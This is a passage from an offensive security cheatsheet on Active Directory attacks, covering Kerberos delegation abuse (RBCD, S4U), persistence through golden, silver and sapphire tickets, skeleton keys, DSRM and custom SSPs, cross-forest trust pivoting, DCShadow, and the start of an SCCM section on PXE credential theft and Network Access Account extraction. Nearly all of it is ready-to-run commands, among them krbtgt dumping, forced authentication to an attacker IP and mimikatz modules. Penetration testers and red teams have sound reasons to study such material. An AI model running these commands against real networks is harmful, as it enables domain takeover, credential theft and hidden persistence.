getST.py -spn 'cifs/target.domain.local' -impersonate administrator -hashes ':<computer_NThash>' -dc-ip <DC_IP> domain.local/computer
export KRB5CCNAME=./Administrator.ccache
```

#### Without protocol transition

In this case, it is not possible to use **S4U2self** to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section.

### Resource-based constrained delegation

[Wagging the Dog](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)

With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute `msds-allowedtoactonbehalfofotheridentity` and the computer can modified its own attribute (really usefull in NTLM relay attack scenario).

#### Requirements

* The DC has to be at least a **Windows Server 2012**
* Write rights on the target machine (**GenericAll, GenericWrite, AllExtendedRights**)
* Target computer object must not have the attribute `msds-allowedtoactonbehalfofotheridentity` set

#### Enumerate users and computers with RBCD enabled

```bash
findDelegation.py -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password

#Check the attribute on an account
rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password
```

#### Standard RBCD

The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure `msds-allowedtoactonbehalfofotheridentity` on ServiceB.

```bash
#Add RBCD from ServiceA to ServiceB
rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ domain.local/user1:password

#Verify property
rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password

#Get ServiceA TGT and then S4U
getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$
export KRB5CCNAME=./Administrator.ccache
```

#### With machine account creation

* Domain users can create some machines, `ms-ds-machineaccountquota` must not being to 0
* Add a fake machine account in the domain
* Add it the to `msds-allowedtoactonbehalfofotheridentity` attribute of the target machine

```bash
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domain.local 'domain.local/user1:password'
rbcd.py -action write -delegate-from ControlledComputer$ -delegate-to ServiceB$ domain.local/ControlledComputer$:ComputerPassword
```

* Use the **S4USelf** function with the fake machine (on an arbitrary SPN) to create a forwardable ticket for a wanted user (not **protected**)
* Use the **S4UProxy** function to obtain a ST for the impersonated user for the wanted service on the target machine

```bash
getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -dc-ip <DC_IP> domain.local/ControlledComputer$:ComputerPassword
export KRB5CCNAME=./Administrator.ccache
```

#### Skip S4USelf

* Attacker has compromised Service A, has sufficient ACLs against Service B to configure RBCD, and wants to attack Service B
* By social engineering or any other solution, an interesting victim authenticates to Service A with a ST
* Attacker dumps the ST on Service A (`sekurlsa::tickets`)
* Attacker configures RBCD from Service A to Service B as above
* Attacker performs S4UProxy and bypass S4USelf by providing the ST as evidence

**NOT TESTED IN MY LAB WITH IMPACKET**

```bash
getST.py -spn 'cifs/serviceB.domain.local' -additional-ticket ./ticket.ccache -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$
```

#### Reflective RBCD

With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, and run a full S4U to access to access the machine on behalf of another user.

```bash
rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceA$ -k -no-pass domain.local/ServiceA$
getST.py -spn 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip <DC_IP> domain.local/ServiceA$
```

#### Impersonate protected user via S4USelf request

It is possible to impersonate a **protected user** with the **S4USelf** request if we have a TGT (or the creds) of the target machine (for example from an **Unconstrained Delegation**).

With the target TGT it is possible to realise a S4USelf request for any user and obtain a ST for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the ST is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid ST for the target service with a sensitive user (and the ST PAC is well signed by the KDC).

```bash
getST.py -self -altservice 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip <DC_IP> domain.local/ServiceA$
```

#### Bypass Constrained Delegation restrictions with RBCD

* Attacker compromises **ServiceA** and **ServiceB**
* ServiceB is allowed to delegate to `time/ServiceC` (the target) without protocol transition (no S4USelf)
* Attacker configures RBCD from ServiceA to ServiceB and performs a full S4U attack to obtain a forwardable ST for the Administrator to ServiceB
* Attacker reuses this forwardable ST as evidence to realise a S4UProxy attack from ServiceB to `time/ServiceC`
* Since the service is not protected in the obtained ticket, the attacker can change the ST from the previous S4UProxy execution to `cifs/ServiceC`

```bash
#RBCD from A to B
rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ -hashes ':<ServiceA_NThash>' domain.local/ServiceA$
getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$

#S4UProxy from B to C with the obtained ST as evidence
getST.py -spn 'cifs/serviceC.domain.local' -additional-ticket ./administrator.ccache -hashes ':<ServiceB_NThash>' -dc-ip <DC_IP> domain.local/ServiceB$
```

#### U2U RBCD with SPN-less accounts

In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but `ms-ds-machineaccountquota` equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present [here](https://twitter.com/snovvcrash/status/1595814518558543874).

* Configure the machine account to trust the user account you control (NTLM Relay, with the machine account's creds,...)
* Obtain a TGT for the user via pass-the-hash and extract the session key from it with this [PR](https://github.com/SecureAuthCorp/impacket/pull/1201):

```bash
getTGT.py -hashes :$(pypykatz crypto nt 'password') 'domain.local'/'user1'
describeTicket.py 'user1.ccache' | grep 'Ticket Session Key'
```

* Now, change the user's long term key (his RC4 NT hash actually) to be equal to the TGT session key. The ST sent in the S4UProxy will be encrypted with the session key, but the KDC will try to decipher it with the user's long term key, this is why the LT key must be equal to the session key (**WARNING !!! The user's password is now equal to an unknown value, you have to use a sacrificial account to realise this attack**). Everything is explained [here](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html).

```bash
smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'password'@'DC'
```

* Realize the S4USelf request with a U2U request. If U2U is not used, the KDC cannot find the account's LT key when a UPN is specified instead of a SPN. Then, use the ticket obtained in the U2U S4USelf request (ciphered with the session key), to perform a S4UProxy request. Use this [PR](https://github.com/SecureAuthCorp/impacket/pull/1202) to do it:

```bash
KRB5CCNAME='user1.ccache'
getST.py -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/target.domain.local" 'domain.local'/'user1'
```

* Finally, use the obtained ST to dump the machine LSA and SAM registers with `secretsdump`.

#### RBCD from MSSQL server

If we have sufficient access to a MSSQL server we can use the `xp_dirtree` in order to leak the Net-NTLM hash of the machine account. Additionally, the **Web Service** client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to `@80`):

* Create a DNS record in order to be able to leak the NTLM hash externally
* Use the `xp_dirtree` (or `xp_fileexist`) function to the created DNS record on `@80`. This will force the authentication and leak the hash
* Relay the machine hash to the LDAP server to add a controlled account (**with a SPN** for the further S4USelf request) to the `msDS-AllowedToActOnBehalfOfOtherIdentity` of the target machine
* Now we can ask a ST for a user we want to impersonate for a service on the machine

```bash
#Add the DNS
python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '<attacker_IP>' --action add <DC_IP>

#On our machine, waiting for the leak
#https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
python rbcd_relay.py 192.168.24.10 domain.local 'target$' <controlledAccountWithASPN>

#ON the MSSQL server
SQLCMD -S <MSSQL_instance> -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P Admin
    #Or with NetExec
nxc mssql <target> -u user1 -p password -M mssql_coerce -o L=<attacker_IP>

#After the attack, ask for a ST with full S4U
getST.py -spn cifs/target.domain.local -impersonate admininistrator -dc-ip <DC_IP> domain.local/<controlledAccountWithASPN>password
```

## Domain Persistence

### Sapphire ticket

Similar to [**Diamond Ticket**](https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/), but instead of decipher, modify, recipher and resign the PAC on the fly, this technique inject a fully new one PAC obtained via a _S4USelf + U2U_ attack in the requested ticket. Full explains [here](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/sapphire).

```bash
ticketer.py -request -impersonate 'Administrator' -domain 'domain.local' -user 'user1' -password 'password' -aesKey 'krbtgt_AES_key' -domain-sid '<domain_SID>' 'blabla'
```

### Diamond ticket

[Blog here](https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/)

For the moment, the `ticketer.py` approach is not really attractive and the **Sapphire Ticket** attack is preferable, or use Rubeus on Windows.

### Golden ticket

#### Dump krbtgt hash with DCSync

```bash
secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/administrator:password@<DC>
```

#### Create TGT

```bash
ticketer.py -domain domain.local -domain-sid <domain_SID> -nthash <krbtgt_hash> -user-id <target_RID> -duration <ticket_lifetime_in_day> <target_user>
```

#### RODC Golden Ticket

This attack is presented in the Active Directory cheatsheet.

### Silver ticket

```bash
ticketer.py -domain domain.local -domain-sid <domain_SID> -spn 'cifs/target' -nthash <account_hash> -user-id <target_RID> -duration <ticket_lifetime_in_day> <target_user>
```

Another solution, if you don't have the NT hash or the AES keys of the service but you have a TGT for the service account, is to impersonate an account via a request for a service ticket through S4USelf to an alternative service (and the opsec is better since the PAC is consistent):

```bash
export KRB5CCNAME=./target_TGT.ccache
getST.py -self -impersonate "Administrator" -altservice "cifs/target.domain.local" -k -no-pass "domain.local"/'target$'
```

### GoldenGMSA

This attack is presented in the Active Directory cheatsheet.

### GoldenDMSA

This attack is presented in the Active Directory cheatsheet.

### Skeleton key

```bash
nxc smb <DC_IP> -u 'Administrator' -p 'password' -M mimikatz -o COMMAND='misc::skeleton'
```

Now, it is possible to access any machine with a valid username and password as "mimikatz"

### DSRM

* DSRM is Directory Services Restore Mode
* The local administrator on every DC can authenticate with the DSRM password
* It is possible to pass the hash of this user to access the DC after modifying the DC configuration

#### Dump DSRM password

```bash
nxc smb <DC_IP> -u user1 -p password --sam
```

#### Change registry configuration

Need to change the logon behavior before pass the hash

```bash
reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'DsrmAdminLogonBehavior' -vd 2 -vt REG_DWORD
```

Now the DSRM hash ca be used to authenticate

### Custom SSP

SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine.

* By patching LSASS (really instable since Server 2016)

```bash
nxc smb <target> -u user1 -p password -M mimikatz -o COMMAND='misc::memssp'
```

* By modifying the LSA registry

Upload the `mimilib.dll` to **system32** and add mimilib to `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages` :

```bash
#Retrieve the actual values of Security Package
reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local query -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -s

#Append mimilib to the previous list
reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -vd "<list> mimilib" -vt REG_MULTI_SZ
```

### DACLs - AdminSDHolder

AdminSDHolder is a solution that compares the ACLS of the objects with `AdminCount=1` with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every hour.

#### Attack

* With write privs on the AdminSDHolder object, it can be used for persistence by adding a user with Full Permissions to the AdminSDHolder object for example.
* When the automatic script will run, the user will be added with Full Control to the AC of groups like Domain Admins.

```bash
dacledit.py -action write -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'administrator':'password'
```

#### Check Domain Admin ACLs

```bash
dacledit.py -action read -target "Domain Admins" -principal user1 -dc-ip <DC_IP> domain.local/user1:password
```

### DACLs - Interesting rights

The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the `On any objects` in the ACLs attacks section.

## Cross-Trust Movement

Attacks against trusts are generally more efficient from a Windows machine with Mimikatz and Rubeus.

### Child to parent domain

Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the **Enterprise Admins** group in the SID history field.

```bash
#The new Golden Ticket will be written at the path specified in -w
raiseChild.py -w ./ticket.ccache child.domain.local/Administrator:password

#Dump the Administrator's hash of the root domain
raiseChild.py child.domain.local/Administrator:password

#PSEXEC on a machine
raiseChild.py -target-exec <target> child.domain.local/Administrator:password
```

### Across forest

#### SID History attacks

If there is no SID filtering, it is possible to specify any privileged SID of the target forest in the SID History field. Otherwise, with partial filtering, an **RID > 1000** must be indicated.

* Get the Trust Key

```bash
secretsdump.py -just-dc-user '<current_forest/target_forest$>' domain.local/Administrator:password@<DC>
```

* If **no filtering** : forge a referral ticket or an inter-realm Golden Ticket and request for a ST

`ticketer.py` doesn't work really well with inter-realm TGT, it's preferable to use **Mimikatz** for this one.

```bash
#Referral ticket
ticketer.py -domain domain.local -domain-sid <domain_SID> -extra-sid <target_domain_SID>-<RID> -aesKey <aes_trust_key> -spn "krbtgt/targetDomain.local" <target_user>

#Inter-realm Golden Ticket
ticketer.py -domain domain.local -domain-sid <domain_SID> -extra-sid <target_domain_SID>-<RID> -nthash <krbtgt_hash> <target_user>

export KRB5CCNAME=./ticket.ccache
getST.py -k -no-pass -spn CIFS/dc.targetDomain.local -dc-ip <target_DC_IP> targetDomain.local/user
```

* If **there is SID filtering**, same thing as above but with **RID > 1000** (for example, Exchange related groups are sometimes highly privileged, and always with a RID > 1000). Otherwise, get the `foreignSecurityPrincipal`. These users of the current domain are also members of the trusting forest, and they can be members of interesting groups:

```bash
#These SIDs are members of the target domain
ldeep ldap -u user1 -p password -d domain.local -s <target_LDAP_server_IP> search '(objectclass=foreignSecurityPrincipal)' | jq '.[].objectSid'

#The found SIDs can be search in the current forest
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> search '(objectSid=<object_SID>)'
```

Then, it is possible to forge an referral ticket for this user and access the target forest with its privileges.

#### TGT delegation

By default, Domain Controllers are setup with Unconstrained Delegation (which is necessary in an Active Directory to correctly handle the Kerberos authentications).

If TGT delegation is **enabled** in the trust attributes, it is possible to coerce the remote Domain Controller authentication from the compromised Domain Controller, and retrieve its TGT in the ST. If TGT delegation is **disabled**, the TGT will not be added in the ST, even with the Unconstrained Delegation.

Additionally, **Selective Authentication must not be enabled** on the trust, and a two ways trust is needed.

How to exploit an [Unconstrained Delegation](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-unconstrained-delega-0).

#### Account Operators Replicating Trust Attack (AORTA)

Everything is explained [here](https://specterops.io/blog/2025/06/25/untrustworthy-trust-builders-account-operators-replicating-trust-attack-aorta/). Presented in the Active Directory cheatsheet.

#### Transit across non-transitive trusts

**WARNING** **!** For the moment, this attack has not been tested on Linux with Impacket but only with Rubeus from a Windows machine. The following commands are here for information purpose only and probably need some adjustments. I recommend you to perform this attack with Rubeus (look at the [Active Directory cheatsheet](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-transit-across-non-t)).

If a **non-transitive** trust is setup between domains from two different forests (domain A and B for example), users from domain A will be able to access resources in domain B (in case that B trusts A), but will not be able to access resources in other domains that trust domain B (for example, domain C). Non-transitive trusts are setup by default on **External Trusts** for example.

However, there is a way to make non-transitive trusts transitive. Full explains [here](https://exploit.ph/external-trusts-are-evil.html).

For this example, there is an **External Trust** between domains A and B (which are in different forests), there is a **Within Forest** trust between domains B and C (which are in the same forest), and a **Parent-child** trust between domains C and D (so, they are in the same forest). We have a user (userA) in domain A, and we want to access services in domain D, which is normally impossible since **External Trusts** are non-transitive.

* First, obtain a TGT for userA in his **domain A**

```bash
getTGT.py -dc-ip <DC_A_IP> domainA.local/userA:password
export KRB5CCNAME=./userA.ccache
```

* Then, request a referral for the **domain B** with the previously obtained TGT (for the moment, everything is normal). This referral can be used to access resources in **domain B** as userA

```bash
getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip <DC_A_IP> domainA.local/userA
```

* With this referral, it is not possible to request for a ST in **domain C** since there is no transitivity. However, it is possible to use it to ask for a "local" TGT in domain B for userA. This will be a valid TGT in domain B and not a referral between A and B

```bash
getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip <DC_B_IP> domainA.local/userA
```

* Now, this TGT can be reused to ask for a referral to access **domain C**, still from **domain A with user A**

```bash
getST.py -k -no-pass -spn "krbtgt/domainC.local" -dc-ip <DC_B_IP> domainA.local/userA
```

This referral for **domain C** can be, in turn, used to access **domain D** with the same technique, and so on. This attack permits to pivot between all the trusts (and consequently the domains) in the same forest from a domain in a external forest.

However, it is not possible to directly use this technique to access a domain in another forest that would have a trust with **domain D**. For example, if **domain D** has an **External Trust** with **domain E** in a third forest, it will be not possible to access domain E from A.

A valid workaround is to use the referral for domain D to request a ST for LDAP in domain D, and use it to create a machine account. This account will be valid in domain D and will be used to restart the attack from domain D (like with user A) and access domain E.

```bash
getST.py -k -no-pass -spn "ldap/dc.domainD.local" -dc-ip <DC_D_IP> domainA.local/userA
addcomputer.py -k -no-pass -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domainD.local domainA.local/userA
#Then, ask for a TGT and replay the attack against domain E
```

### Across forest - PAM trust

The goal is to compromise the **bastion** forest and pivot to the **production** forest to access to all the resources with a **Shadow Security Principal** mapped to a high privs group.

#### Check if the current forest is a bastion forest

Enumerate trust properties

* `ForestTransitive` must be **true**
* `SIDFilteringQuarantined` must be **false**

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts
```

Enumerate shadow security principals

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> search '(distinguishedName=*Shadow Principal Configuration*)' |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"'
```

#### Check if the current forest is managed by a bastion forest

`ForestTransitive` must be **true**

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts
```

A trust attribute of `1096` is for PAM (`0x00000400`) + External Trust (`0x00000040`) + Forest Transitive (`0x00000008`).

#### Get the shadow security principals

```bash
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> object "Shadow Principal Configuration" -v |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"'
```

* `Name` - Name of the shadow principal
* `member` - Members from the bastion forest which are mapped to the shadow principal
* `msDS-ShadowPrincipalSid` - The SID of the principal (user or group) in the user/production forest whose privileges are assgined to the shadow security principal. In our example, it is the Enterpise Admins group in the user forest

These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with `SIDHistory` injection since `SIDFiltering` in a **PAM Trust**.

### SCCM Hierarchy takeover

In case an organisation has multiple SCCM primary sites dispersed between different domains, it has the possibility to setup a **Central Administration Site** to administrate all the sites from one "top" site server.

If it the case, by default the CAS will automatically replicate all the SCCM site admins between all the sites. This means, if you have takeover one site and added a controlled user as SCCM site admin, he will be automatically added as a site admin on all the other site by the CAS, and you can use him to pivote between the sites.

Full explains [here](https://medium.com/specter-ops-posts/sccm-hierarchy-takeover-41929c61e087).

## Forest Persistence - DCShadow

**MUST BE TESTED MORE CORRECTLY**

* DCShadow permits to create a rogue Domain Controller on a standard computer in the AD. This permits to modify objects in the AD without leaving any logs on the real Domain Controller
* The compromised machine must be in the **root domain** on the forest, and the command must be executed as DA (or similar)

The attack needs 2 instances on the compromised machine.

* One to start RPC servers with SYSTEM privileges and specify attributes to be modified

```bash
nxc smb <target> -u Administrator -p password -M mimikatz -o COMMAND='"token::elevate" "privilege::debug" "lsadump::dcshadow /object:<object_to_modify> /attribute:<attribute_to_modify> /value=<value_to_set>"'
```

* And second with enough privileges (DA or otherwise) to push the values :

```bash
nxc smb <target> -u Administrator -p password -M mimikatz -o COMMAND='lsadump::dcshadow /push' --server-port 8080
```

### Set interesting attributes

#### Set SIDHistory to Enterprise Admin

```bash
lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:<domain_SID>-519
```

#### Modify primaryGroupID

```bash
lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519
```

#### Set a SPN on an user

```bash
lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1"
```

## References

* [The Hacker Recipes](https://www.thehacker.recipes)
* [Pentester Academy](https://www.pentesteracademy.com)
* [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md)
* [InternalAllTheThings](https://swisskyrepo.github.io/InternalAllTheThings/)
* [Pentestlab.blog](https://pentestlab.blog/)
* [HackTricks](https://book.hacktricks.xyz/welcome/readme)
* [Haax](https://cheatsheet.haax.fr/)
* [Red Teaming Experiments](https://www.ired.team)
* [NetExec wiki](https://www.netexec.wiki/)
* [Cube0x0](https://cube0x0.github.io)
* [Dirk-jan Mollema](https://dirkjanm.io)
* [Snovvcrash](https://ppn.snovvcrash.rocks)
* [Exploit.ph](https://exploit.ph/)
* [Adam Chester](https://blog.xpnsec.com/)
* [Olivier Lyak](https://medium.com/@oliverlyak)
* [Wagging the Dog](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [Masky release](https://z4ksec.github.io/posts/masky-release-v0.0.3/)
* [Active Directory Spotlight](https://www.securesystems.de/blog/active-directory-spotlight-attacking-the-microsoft-configuration-manager/)
* [LDAP Pass back](https://www.acceis.fr/ldap-pass-back-attack/)
* [SOAPHound](https://falconforce.nl/soaphound-tool-to-collect-active-directory-data-via-adws/)
* [ThievingFox](https://blog.slowerzs.net/posts/thievingfox/)
* [SpecterOps](https://posts.specterops.io)
* [MDSec](https://www.mdsec.co.uk/knowledge-centre/research/)
* [Semperis](https://www.semperis.com/fr/blog/)
* [Cogiceo](https://www.cogiceo.com/en/our-white-papers/)
* [Akamai Security Blog](https://www.akamai.com/blog/security-research)
* [BloodHound Legacy](https://bloodhound.readthedocs.io/en/latest/index.html) & [BloodHound CE](https://bloodhound.specterops.io/home)
* [Hack The Box](https://www.hackthebox.com/)

# System Center Configuration Manager

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter [**@BlWasp_**](https://twitter.com/BlWasp_).

I will try to put as many links as possible at the end of the page to direct to more complete resources.

**System Center Configuration Manager** (SCCM), renamed **Microsoft Endpoint Configuration Manager** (MECM) and, more recently, **Microsoft Configuration Manager** (ConfigMgr), is a software developed by Microsoft to help system administrators manage the servers and workstations in large Active Directory environments.

## PXE initial access

A PXE boot server can be embedded in the SCCM infrastructure. However, identifying a PXE server on the network does not necessarily imply the presence of an SCCM infrastructure, and the presence of SCCM doesn't indicate that a PXE boot is present.

[PXEThief](https://github.com/MWR-CyberSec/PXEThief) works on Windows and Linux:

```powershell
# Identify a PXE server over the network with DHCP request
python3.10.exe .\pxethief.py 1

# Indicate the Distribution Point IP to veriy if there is any PXE on it
python3.10.exe .\pxethief.py 2 <DP_IP>
```

If the media is encrypted, request it like this:

```powershell
tftp -i <DP_IP> GET "\SMSTemp\<XXX>.boot.var" "<XXX>.boot.var"
```

Then, compute the hash and crack it with hashcat's dedicated module:

```powershell
python3.10.exe .\pxethief.py 5 '<XXX>.boot.var'
```

```bash
cd hashcat_pxe/
git clone https://github.com/hashcat/hashcat.git
git clone https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module
cp configmgr-cryptderivekey-hashcat-module/module_code/module_19850.c hashcat/src/modules/
cp configmgr-cryptderivekey-hashcat-module/opencl_code/m19850* hashcat/OpenCL/
cd hashcat
# change to 6.2.5
git checkout -b v6.2.5 tags/v6.2.5
make

cd ..
hashcat/hashcat -m 19850 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txtou.txt
```

Finally request the media, decrypt it with the password and retrieve sensitive information inside:

```powershell
python3.10.exe .\pxethief.py 3 'XXX.boot.var' "Password123!"
```

Or alternatively, **PowerPXE** is a PowerShell script that extracts interesting data from insecure PXE boot.

```powershell
Import-Module PowerPxe
Get-PXEcreds -InterfaceAlias Ethernet
```

## Recon

Techniques to identify SCCM servers and related objects in an Active Directory.

### Windows

```powershell
#With PowerShell
([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties}

#With SharpSCCM
./SharpSCCM.exe local site-info
./SharpSCCM.exe local client-info
```

### Linux

```bash
#Find the assets in the LDAP configuration
python3 sccmhunter.py find -u user1 -p password -d domain.local -dc-ip <DC_IP>

#Retrieve informations regarding the identified servers (SMB signing, site code, server type, etc)
#And save PXE variables
python3 sccmhunter.py smb -u user1 -p password -d domain.local -dc-ip <DC_IP> -save

#Show results from the previous commands
python3 sccmhunter.py show -smb
python3 sccmhunter.py show -user
python3 sccmhunter.py show -computers
python3 sccmhunter.py show -all

#With NetExec
nxc ldap <DC_IP> -u user1 -p password -M sccm
    #Via WinReg
nxc ldap <target> -u user1 -p password -M sccm-recon6
```

Another solution is [to search for WDS servers](https://hideandsec.sh/books/windows-sNL/page/mdt-where-are-you), in order to find potential SCCM servers or MDT shares.

```bash
./WDSFinder --username user1 --password password --ip <DC_IP> --domain domain.local
```

## Credentials harvesting

### Client Push Accounts

With a compromised machine in an Active Directory where SCCM is deployed via **Client Push Accounts** (the default configuration) on the assets, it is possible to retrieve the Net-NTLM hash of the Client Push Account, which generally has Administrator privileges on lots of assets. Full explains [here](https://www.hub.trimarcsecurity.com/post/push-comes-to-shove-exploring-the-attack-surface-of-sccm-client-push-accounts). To do it:

* Remove all the local Administrators on the compromised machine : `net user <username> /delete`
* Listen with Inveigh : `Invoke-Inveigh -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y`
* Wait for the Client Push Accounts that will attempt to authenticate automatically
* Hope for Net-NTLMv1, relay possibility or whatever

With SharpSCCM it is possible to accelerate the process by coercing a Client Push Accounts authentication.

```powershell
#If admin access over Management Point (useful to clean the MP cache with the attacker machine)
./SharpSCCM.exe invoke client-push -t <attacker_IP> --as-admin

#If not MP admin (need to conctact an administrator to clean the cache)
./SharpSCCM.exe invoke client-push -t <attacker_IP>
```

### Local SCCM credentials extraction

Multiple secrets and credentials can be extracted on a machine enrolled in SCCM. For example, it is possible to retrieve the **Network Access Accounts (NAA)** in the NAA policy which it's sent by the SCCM server and stored on the SCCM client disk encrypted with DPAPI, and the **TaskSequence** and **Device Collection** variables, also encrypted by DPAPI.

#### Windows

With SYSTEM access on the client, the credentials can be retrieved via WMI with PowerShell:

```powershell
#Network Access Accounts (NAA)
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_NetworkAccessAccount

#TaskSequence variables
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_TaskSequence

#Device Collection variables
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_CollectionVariable
```

All this secrets can be extracted with SharpSCCM or SharpDPAPI aswell:

```powershell
./SharpDPAPI.exe SCCM

#Via CIM store on disk or WMI
./SharpSCCM.exe local secrets disk
./SharpSCCM.exe local secrets wmi
```

**NAA** can also be extracted with Mimikatz:

```powershell
./mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # dpapi::sccm
```

Ultimately, **NAA** and **TaskSequence** can be retrieved remotely:

```powershell
./SharpSCCM.exe get secrets
```

#### Linux

Sccmhunter permits to extract everything in one command.

```bash
python3 sccmhunter.py dpapi -u user1 -p password -d domain.local -dc-ip <DC_IP> -target <target_IP> -wmi

# Or with SystemDPAPIdump
SystemDPAPIdump.py -creds -sccm 'domain.local/user1:password'@'target.domain.local'
```

### SCCM secrets policies request

Full explains about these attacks are [here](https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial#part\_1).

#### Theory

To quickly summarize, SCCM permits to new computers to self-enroll **without authentication** in the SCCM environment via the Management Point, and, by default, the enrolment must be approved by an administrator. However, still by default, it is possible to approve an enrolment with a domain machine account.

This newly approved device can request the SCCM secret policies linked the collections where it has been added (by default, **All systems** or **All Desktop and Server clients**). These policies include the NAA credentials, the Task Sequence variables, and the Collection variables. They also indicate resources to download from the Distribution Point.

Sysadmins have the possibility to allow self-enrolment **with automatic device approval**. In this configuration, no machine credentials are needed since the new device will be automatically approved and able to obtain secret policies.

#### Exploitation

So, an attacker with a valid domain machine account can enroll a new device and use it to retrieve the secret policies.

SCCMSecrets permits to retrieve the three kinds of secrets.

```bash
addcomputer.py -computer-name 'EVIL$' -computer-pass 'ComputerPass123' -dc-ip <DC_IP> 'domain.local/user1':'password'
python3 sccmhunter.py http -u "user1" -p password -dc-ip <DC_IP> -cp ComputerPass123 -cn 'EVIL$'

# Or with SCCMSecrets
python3 SCCMSecrets.py policies --management-point 'managementPoint.domain.local' --client-name fake.domain.local --verbose --registration-sleep 300 --username 'machine$' --password 'password'

# With self-enrolment
python3 SCCMSecrets.py policies --management-point 'managementPoint.domain.local' --client-name fake.domain.local --verbose
```

In case of the SCCM configuration is enforced with HTTPS, the client authentication certificate of the authenticating computer must be added.

```bash
